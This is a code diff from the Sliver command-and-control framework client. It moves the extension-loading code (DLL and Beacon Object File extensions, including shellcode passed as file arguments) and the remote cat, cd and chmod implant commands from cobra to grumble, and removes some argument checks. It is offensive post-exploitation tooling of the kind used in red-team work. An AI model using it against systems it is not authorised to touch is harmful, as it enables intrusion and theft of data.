-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/jedib0t/go-pretty/v6/text"
 )

 // ExtensionsCmd - List information about installed extensions
-func ExtensionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient) {
+func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if 0 < len(getInstalledManifests()) {
 		PrintExtensions(con)
 	} else {
@@ -100,7 +98,7 @@ func getInstalledManifests() map[string]*ExtensionManifest {
 	manifestPaths := assets.GetInstalledExtensionManifests()
 	installedManifests := map[string]*ExtensionManifest{}
 	for _, manifestPath := range manifestPaths {
-		data, err := os.ReadFile(manifestPath)
+		data, err := ioutil.ReadFile(manifestPath)
 		if err != nil {
 			continue
 		}
@@ -115,15 +113,13 @@ func getInstalledManifests() map[string]*ExtensionManifest {
 }

 // ExtensionsCommandNameCompleter - Completer for installed extensions command names
-func ExtensionsCommandNameCompleter(con *console.SliverConsoleClient) carapace.Action {
-	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
-		installedManifests := getInstalledManifests()
-		results := []string{}
-		for _, manifest := range installedManifests {
+func ExtensionsCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
+	installedManifests := getInstalledManifests()
+	results := []string{}
+	for _, manifest := range installedManifests {
+		if strings.HasPrefix(manifest.CommandName, prefix) {
 			results = append(results, manifest.CommandName)
-			results = append(results, manifest.Help)
 		}
-
-		return carapace.ActionValuesDescribed(results...).Tag("extension commands")
-	})
+	}
+	return results
 }
@@ -241,4 +241,5 @@ func TestParseExtensionManifestErrors(t *testing.T) {
 			t.Fatalf("Expected missing files.path error, got none")
 		}
 	}
+
 }
@@ -20,21 +20,20 @@ package extensions

 import (
 	"fmt"
+	"io/ioutil"
 	"os"
 	"path/filepath"

 	"github.com/AlecAivazis/survey/v2"
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/util"
+	"github.com/desertbit/grumble"
 )

 // ExtensionsInstallCmd - Install an extension
-func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	extLocalPath := args[0]
-
+func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	extLocalPath := ctx.Args.String("path")
 	fi, err := os.Stat(extLocalPath)
 	if os.IsNotExist(err) {
 		con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
@@ -49,7 +48,7 @@ func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient,

 // Install an extension from a directory
 func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
-	manifestData, err := os.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
+	manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
 	if err != nil {
 		con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
 		return
@@ -74,12 +73,12 @@ func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
 	con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
 	err = os.MkdirAll(installPath, 0o700)
 	if err != nil {
-		con.PrintErrorf("Error creating extension directory: %s\n", err)
+		con.PrintErrorf("\nError creating extension directory: %s\n", err)
 		return
 	}
-	err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
+	err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
 	if err != nil {
-		con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
+		con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
 		forceRemoveAll(installPath)
 		return
 	}
@@ -90,12 +89,13 @@ func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
 			dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
 			err := util.CopyFile(src, dst)
 			if err != nil {
-				con.PrintErrorf("Error copying file '%s' -> '%s': %s\n", src, dst, err)
+				con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
 				forceRemoveAll(installPath)
 				return
 			}
 		}
 	}
+
 }

 // InstallFromFilePath - Install an extension from a .tar.gz file
@@ -127,12 +127,12 @@ func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.S
 	con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
 	err = os.MkdirAll(installPath, 0o700)
 	if err != nil {
-		con.PrintErrorf("Failed to create extension directory: %s\n", err)
+		con.PrintErrorf("\nFailed to create extension directory: %s\n", err)
 		return nil
 	}
-	err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
+	err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
 	if err != nil {
-		con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
+		con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
 		forceRemoveAll(installPath)
 		return nil
 	}
@@ -140,7 +140,7 @@ func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.S
 		if manifestFile.Path != "" {
 			err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
 			if err != nil {
-				con.PrintErrorf("Failed to install file: %s\n", err)
+				con.PrintErrorf("\nFailed to install file: %s\n", err)
 				forceRemoveAll(installPath)
 				return nil
 			}
@@ -151,7 +151,7 @@ func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.S
 }

 func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
-	data, err := util.ReadFileFromTarGz(extGzFilePath, "."+filepath.ToSlash(artifactPath))
+	data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
 	if err != nil {
 		return err
 	}
@@ -166,7 +166,7 @@ func installArtifact(extGzFilePath string, installPath string, artifactPath stri
 			return err
 		}
 	}
-	err = os.WriteFile(localArtifactPath, data, 0o600)
+	err = ioutil.WriteFile(localArtifactPath, data, 0o600)
 	if err != nil {
 		return err
 	}
@@ -21,21 +21,20 @@ package extensions
 import (
 	"context"

-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
 )

 // ExtensionsListCmd - List all extension loaded on the active session/beacon
-func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func ExtensionsListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}

 	extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
@@ -24,18 +24,12 @@ import (
 	"encoding/json"
 	"errors"
 	"fmt"
+	"io/ioutil"
 	"os"
 	"path"
 	"path/filepath"
-	"strconv"
 	"strings"

-	appConsole "github.com/reeflective/console"
-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
-	"github.com/spf13/pflag"
-	"google.golang.org/protobuf/proto"
-
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/command/help"
 	"github.com/bishopfox/sliver/client/console"
@@ -44,6 +38,8 @@ import (
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )

 const (
@@ -106,26 +102,24 @@ func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, ta
 }

 // ExtensionLoadCmd - Load extension command
-func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	dirPath := args[0]
-	// dirPath := ctx.Args.String("dir-path")
+func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	dirPath := ctx.Args.String("dir-path")
 	extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
 	if err != nil {
 		return
 	}
 	// do not add if the command already exists
-	sliverMenu := con.App.Menu("implant")
-	if CmdExists(extCmd.CommandName, sliverMenu.Command) {
+	if CmdExists(extCmd.CommandName, con.App) {
 		con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
 		return
 	}
-	ExtensionRegisterCommand(extCmd, cmd.Root(), con)
+	ExtensionRegisterCommand(extCmd, con)
 	con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
 }

 // LoadExtensionManifest - Parse extension files
 func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
-	data, err := os.ReadFile(manifestPath)
+	data, err := ioutil.ReadFile(manifestPath)
 	if err != nil {
 		return nil, err
 	}
@@ -175,44 +169,60 @@ func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
 }

 // ExtensionRegisterCommand - Register a new extension command
-func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con *console.SliverConsoleClient) {
-	if errInvalidArgs := checkExtensionArgs(extCmd); errInvalidArgs != nil {
-		con.PrintErrorf(errInvalidArgs.Error())
-		return
-	}
-
+func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverConsoleClient) {
 	loadedExtensions[extCmd.CommandName] = extCmd
 	helpMsg := extCmd.Help
-
-	// Command
-	extensionCmd := &cobra.Command{
-		Use:   extCmd.CommandName,
-		Short: helpMsg,
-		Long:  help.FormatHelpTmpl(extCmd.LongHelp),
-		Run: func(cmd *cobra.Command, args []string) {
-			runExtensionCmd(cmd, con, args)
+	extensionCmd := &grumble.Command{
+		Name:     extCmd.CommandName,
+		Help:     helpMsg,
+		LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
+		Run: func(extCtx *grumble.Context) error {
+			con.Println()
+			runExtensionCmd(extCtx, con)
+			con.Println()
+			return nil
 		},
-		GroupID:     consts.ExtensionHelpGroup,
-		Annotations: makeCommandPlatformFilters(extCmd),
+		Flags: func(f *grumble.Flags) {
+			// f.Bool("s", "save", false, "Save output to disk")
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			if 0 < len(extCmd.Arguments) {
+				// BOF specific
+				for _, arg := range extCmd.Arguments {
+					var (
+						argFunc      func(string, string, ...grumble.ArgOption)
+						defaultValue grumble.ArgOption
+					)
+					switch arg.Type {
+					case "int", "integer", "short":
+						argFunc = a.Int
+						defaultValue = grumble.Default(0)
+					case "string", "wstring", "file":
+						argFunc = a.String
+						defaultValue = grumble.Default("")
+					default:
+						con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
+						return
+					}
+					if arg.Optional {
+						argFunc(arg.Name, arg.Desc, defaultValue)
+					} else {
+						argFunc(arg.Name, arg.Desc)
+					}
+				}
+			} else {
+				a.StringList("arguments", "arguments", grumble.Default([]string{}))
+			}
+		},
+		HelpGroup: consts.ExtensionHelpGroup,
 	}
-
-	// Flags
-	f := pflag.NewFlagSet(extCmd.Name, pflag.ContinueOnError)
-	f.BoolP("save", "s", false, "Save output to disk")
-	f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
-	extensionCmd.Flags().AddFlagSet(f)
-	extensionCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
-
-	// Completions
-	comps := carapace.Gen(extensionCmd)
-	makeExtensionArgCompleter(extCmd, cmd, comps)
-
-	cmd.AddCommand(extensionCmd)
+	con.App.AddCommand(extensionCmd)
 }

-func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, cmd *cobra.Command, con *console.SliverConsoleClient) error {
+func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
 	var extensionList []string
-	binPath, err := ext.getFileForTarget(cmd.Name(), goos, goarch)
+	binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
 	if err != nil {
 		return err
 	}
@@ -220,7 +230,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
 	// Try to find the extension in the loaded extensions
 	if checkCache {
 		extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
-			Request: con.ActiveTarget.Request(cmd),
+			Request: con.ActiveTarget.Request(ctx),
 		})
 		if err != nil {
 			con.PrintErrorf("List extensions error: %s\n", err.Error())
@@ -245,29 +255,29 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
 		// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
 		// Auto load the coff loader if we have it
 		if !depLoaded {
-			if errLoad := loadDep(goos, goarch, ext.DependsOn, cmd, con); errLoad != nil {
+			if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
 				return errLoad
 			}
 		}
 		return nil
 	}
-	binData, err := os.ReadFile(binPath)
+	binData, err := ioutil.ReadFile(binPath)
 	if err != nil {
 		return err
 	}
-	if errRegister := registerExtension(goos, ext, binData, cmd, con); errRegister != nil {
+	if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
 		return errRegister
 	}
 	return nil
 }

-func registerExtension(goos string, ext *ExtensionManifest, binData []byte, cmd *cobra.Command, con *console.SliverConsoleClient) error {
+func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
 	registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
 		Name:    ext.CommandName,
 		Data:    binData,
 		OS:      goos,
 		Init:    ext.Init,
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		return err
@@ -278,23 +288,23 @@ func registerExtension(goos string, ext *ExtensionManifest, binData []byte, cmd
 	return nil
 }

-func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con *console.SliverConsoleClient) error {
+func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
 	depExt, ok := loadedExtensions[depName]
 	if ok {
 		depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
 		if err != nil {
 			return err
 		}
-		depBinData, err := os.ReadFile(depBinPath)
+		depBinData, err := ioutil.ReadFile(depBinPath)
 		if err != nil {
 			return err
 		}
-		return registerExtension(goos, depExt, depBinData, cmd, con)
+		return registerExtension(goos, depExt, depBinData, ctx, con)
 	}
 	return fmt.Errorf("missing dependency %s", depName)
 }

-func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	var (
 		err           error
 		extensionArgs []byte
@@ -315,19 +325,19 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
 		goarch = beacon.Arch
 	}

-	ext, ok := loadedExtensions[cmd.Name()]
+	ext, ok := loadedExtensions[ctx.Command.Name]
 	if !ok {
-		con.PrintErrorf("No extension command found for `%s` command\n", cmd.Name())
+		con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
 		return
 	}

 	checkCache := session != nil
-	if err = loadExtension(goos, goarch, checkCache, ext, cmd, con); err != nil {
+	if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
 		con.PrintErrorf("Could not load extension: %s\n", err)
 		return
 	}

-	binPath, err := ext.getFileForTarget(cmd.Name(), goos, goarch)
+	binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
 	if err != nil {
 		con.PrintErrorf("Failed to read extension file: %s\n", err)
 		return
@@ -342,7 +352,7 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
 	// the loader will extract and load.
 	if isBOF {
 		// Beacon Object File -- requires a COFF loader
-		extensionArgs, err = getBOFArgs(cmd, args, binPath, ext)
+		extensionArgs, err = getBOFArgs(ctx, binPath, ext)
 		if err != nil {
 			con.PrintErrorf("BOF args error: %s\n", err)
 			return
@@ -351,20 +361,20 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
 		entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
 	} else {
 		// Regular DLL
-		extArgs := strings.Join(args, " ")
+		extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
 		extensionArgs = []byte(extArgs)
 		extName = ext.CommandName
 		entryPoint = ext.Entrypoint
 	}

 	ctrl := make(chan bool)
-	msg := fmt.Sprintf("Executing %s ...", cmd.Name())
+	msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
 	con.SpinUntil(msg, ctrl)
 	callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
 		Name:    extName,
 		Export:  entryPoint,
 		Args:    extensionArgs,
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	ctrl <- true
 	<-ctrl
@@ -391,82 +401,62 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
 // PrintExtOutput - Print the ext execution output
 func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
 	if extName == commandName {
-		con.PrintInfof("Successfully executed %s", extName)
+		con.PrintInfof("Successfully executed %s\n", extName)
 	} else {
-		con.PrintInfof("Successfully executed %s (%s)", commandName, extName)
+		con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
 	}
 	if 0 < len(string(callExtension.Output)) {
-		con.PrintInfof("Got output:\n%s", callExtension.Output)
+		con.PrintInfof("Got output:\n%s\n", callExtension.Output)
 	}
 	if callExtension.Response != nil && callExtension.Response.Err != "" {
-		con.PrintErrorf(callExtension.Response.Err)
+		con.PrintErrorf("%s\n", callExtension.Response.Err)
 		return
 	}
 }

-func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtensionManifest) ([]byte, error) {
+func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
 	var extensionArgs []byte
-	binData, err := os.ReadFile(binPath)
+	binData, err := ioutil.ReadFile(binPath)
 	if err != nil {
 		return nil, err
 	}
 	argsBuffer := core.BOFArgsBuffer{
 		Buffer: new(bytes.Buffer),
 	}
-
 	// Parse BOF arguments from grumble
-	missingRequiredArgs := make([]string, 0)
-
 	for _, arg := range ext.Arguments {
-		// If we don't have any positional words left to consume,
-		// add the remaining required extension arguments in the
-		// error message.
-		if len(args) == 0 {
-			if !arg.Optional {
-				missingRequiredArgs = append(missingRequiredArgs, "`"+arg.Name+"`")
-			}
-			continue
-		}
-
-		// Else pop a word from the list
-		word := args[0]
-		args = args[1:]
-
 		switch arg.Type {
 		case "integer":
 			fallthrough
 		case "int":
-			val, err := strconv.Atoi(word)
-			if err != nil {
-				return nil, err
-			}
+			val := ctx.Args.Int(arg.Name)
 			err = argsBuffer.AddInt(uint32(val))
 			if err != nil {
 				return nil, err
 			}
 		case "short":
-			val, err := strconv.Atoi(word)
-			if err != nil {
-				return nil, err
-			}
+			val := ctx.Args.Int(arg.Name)
 			err = argsBuffer.AddShort(uint16(val))
 			if err != nil {
 				return nil, err
 			}
 		case "string":
-			err = argsBuffer.AddString(word)
+			val := ctx.Args.String(arg.Name)
+			err = argsBuffer.AddString(val)
 			if err != nil {
 				return nil, err
 			}
 		case "wstring":
-			err = argsBuffer.AddWString(word)
+			val := ctx.Args.String(arg.Name)
+			err = argsBuffer.AddWString(val)
 			if err != nil {
 				return nil, err
 			}
 		// Adding support for filepaths so we can
 		// send binary data like shellcodes to BOFs
 		case "file":
-			data, err := os.ReadFile(word)
+			val := ctx.Args.String(arg.Name)
+			data, err := ioutil.ReadFile(val)
 			if err != nil {
 				return nil, err
 			}
@@ -476,12 +466,6 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *Extensio
 			}
 		}
 	}
-
-	// Return if we have missing required arguments
-	if len(missingRequiredArgs) > 0 {
-		return nil, fmt.Errorf("required arguments %s were not provided", strings.Join(missingRequiredArgs, ", "))
-	}
-
 	parsedArgs, err := argsBuffer.GetBuffer()
 	if err != nil {
 		return nil, err
@@ -507,89 +491,15 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *Extensio
 		return nil, err
 	}
 	return extensionArgs, nil
+
 }

 // CmdExists - checks if a command exists
-func CmdExists(name string, cmd *cobra.Command) bool {
-	for _, c := range cmd.Commands() {
-		if name == c.Name() {
+func CmdExists(name string, app *grumble.App) bool {
+	for _, c := range app.Commands().All() {
+		if name == c.Name {
 			return true
 		}
 	}
 	return false
 }
-
-// makeExtensionArgParser builds the valid positional arguments cobra handler for the extension.
-func checkExtensionArgs(extCmd *ExtensionManifest) error {
-	if 0 < len(extCmd.Arguments) {
-		for _, arg := range extCmd.Arguments {
-			switch arg.Type {
-			case "int", "integer", "short":
-			case "string", "wstring", "file":
-			default:
-				return fmt.Errorf("invalid argument type: %s", arg.Type)
-			}
-		}
-	}
-
-	return nil
-}
-
-// makeExtensionArgCompleter builds the positional arguments completer for the extension.
-func makeExtensionArgCompleter(extCmd *ExtensionManifest, _ *cobra.Command, comps *carapace.Carapace) {
-	var actions []carapace.Action
-
-	for _, arg := range extCmd.Arguments {
-		var action carapace.Action
-
-		switch arg.Type {
-		case "file":
-			action = carapace.ActionFiles().Tag("extension data")
-		}
-
-		usage := fmt.Sprintf("(%s) %s", arg.Type, arg.Desc)
-		if arg.Optional {
-			usage += " (optional)"
-		}
-
-		actions = append(actions, action.Usage(usage))
-	}
-
-	comps.PositionalCompletion(actions...)
-}
-
-func makeCommandPlatformFilters(extCmd *ExtensionManifest) map[string]string {
-	filtersOS := make(map[string]bool)
-	filtersArch := make(map[string]bool)
-
-	var all []string
-
-	// Only add filters for architectures when there OS matters.
-	for _, file := range extCmd.Files {
-		filtersOS[file.OS] = true
-
-		if filtersOS[file.OS] {
-			filtersArch[file.Arch] = true
-		}
-	}
-
-	for os, enabled := range filtersOS {
-		if enabled {
-			all = append(all, os)
-		}
-	}
-
-	for arch, enabled := range filtersArch {
-		if enabled {
-			all = append(all, arch)
-		}
-	}
-
-	if len(all) == 0 {
-		return map[string]string{}
-	}
-
-	return map[string]string{
-		appConsole.CommandFilterKey: strings.Join(all, ","),
-	}
-}
@@ -25,16 +25,15 @@ import (
 	"path/filepath"

 	"github.com/AlecAivazis/survey/v2"
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/util"
+	"github.com/desertbit/grumble"
 )

 // ExtensionsRemoveCmd - Remove an extension
-func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	name := args[0]
+func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	name := ctx.Args.String("name")
 	if name == "" {
 		con.PrintErrorf("Extension name is required\n")
 		return
@@ -63,6 +62,7 @@ func RemoveExtensionByCommandName(commandName string, con *console.SliverConsole
 		return errors.New("extension not loaded")
 	}
 	delete(loadedExtensions, commandName)
+	con.App.Commands().Remove(commandName)
 	extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
 	if _, err := os.Stat(extPath); os.IsNotExist(err) {
 		return nil
@@ -27,27 +27,24 @@ import (
 	"github.com/alecthomas/chroma/formatters"
 	"github.com/alecthomas/chroma/lexers"
 	"github.com/alecthomas/chroma/styles"
-	"github.com/spf13/cobra"
-	"google.golang.org/protobuf/proto"
-
 	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util/encoders"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
 )

 // CatCmd - Display the contents of a remote file
-func CatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	var filePath string
-	if len(args) > 0 {
-		filePath = args[0]
-	}
+	filePath := ctx.Args.String("path")
 	if filePath == "" {
 		con.PrintErrorf("Missing parameter: file name\n")
 		return
@@ -56,9 +53,8 @@ func CatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string)
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
 	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
-		Request:          con.ActiveTarget.Request(cmd),
-		RestrictedToFile: true,
-		Path:             filePath,
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    filePath,
 	})
 	ctrl <- true
 	<-ctrl
@@ -73,23 +69,24 @@ func CatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string)
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintCat(download, cmd, con)
+			PrintCat(download, ctx, con)
 		})
 		con.PrintAsyncResponse(download.Response)
 	} else {
-		PrintCat(download, cmd, con)
+		PrintCat(download, ctx, con)
 	}
 }

 // PrintCat - Print the download to stdout
-func PrintCat(download *sliverpb.Download, cmd *cobra.Command, con *console.SliverConsoleClient) {
+func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
 	var (
 		lootDownload bool = true
 		err          error
 	)
-	saveLoot, _ := cmd.Flags().GetBool("loot")
-	lootName, _ := cmd.Flags().GetString("name")
-	userLootFileType, _ := cmd.Flags().GetString("file-type")
+	saveLoot := ctx.Flags.Bool("loot")
+	lootName := ctx.Flags.String("name")
+	userLootType := ctx.Flags.String("type")
+	userLootFileType := ctx.Flags.String("file-type")
 	if download.Response != nil && download.Response.Err != "" {
 		con.PrintErrorf("%s\n", download.Response.Err)
 		return
@@ -103,18 +100,26 @@ func PrintCat(download *sliverpb.Download, cmd *cobra.Command, con *console.Sliv
 	}

 	if saveLoot {
+		lootType, err := loot.ValidateLootType(userLootType)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			// Even if the loot type is bad, we can still print the result to the screen
+			// We will not loot it though
+			lootDownload = false
+		}
 		fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
+
 		if lootDownload {
-			loot.LootDownload(download, lootName, fileType, cmd, con)
+			loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
 			con.Printf("\n")
 		}
 	}
-	if color, _ := cmd.Flags().GetBool("colorize-output"); color {
+	if ctx.Flags.Bool("colorize-output") {
 		if err = colorize(download); err != nil {
 			con.Println(string(download.Data))
 		}
 	} else {
-		if phex, _ := cmd.Flags().GetBool("hex"); phex {
+		if ctx.Flags.Bool("hex") {
 			con.Println(hex.Dump(download.Data))
 		} else {
 			con.Println(string(download.Data))
@@ -21,29 +21,24 @@ package filesystem
 import (
 	"context"

-	"google.golang.org/protobuf/proto"
-
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
 )

 // CdCmd - Change directory on the remote system
-func CdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}
-
-	filePath := "."
-	if len(args) == 1 {
-		filePath = args[0]
-	}
+	filePath := ctx.Args.String("path")

 	pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveTarget.Request(ctx),
 		Path:    filePath,
 	})
 	if err != nil {
@@ -20,43 +20,40 @@ package filesystem
 import (
 	"context"

-	"google.golang.org/protobuf/proto"
-
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
 )

 // ChmodCmd - Change the permissions of a file on the remote file system
-func ChmodCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func ChmodCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	filePath := args[0]
+	filePath := ctx.Args.String("path")

 	if filePath == "" {
 		con.PrintErrorf("Missing parameter: file or directory name\n")
 		return
 	}

-	fileMode := args[1]
+	fileMode := ctx.Args.String("mode")

 	if fileMode == "" {
 		con.PrintErrorf("Missing parameter: file permissions (mode)\n")
 		return
 	}

-	recursive, _ := cmd.Flags().GetBool("recursive")
-
 	chmod, err := con.Rpc.Chmod(context.Background(), &sliverpb.ChmodReq{
-		Request:   con.ActiveTarget.Request(cmd),
+		Request:   con.ActiveTarget.Request(ctx),
 		Path:      filePath,
 		FileMode:  fileMode,
-		Recursive: recursive,
+		Recursive: ctx.Flags.Bool("recursive"),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
@@ -20,51 +20,48 @@ package filesystem
 import (
 	"context"

-	"google.golang.org/protobuf/proto"
-
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
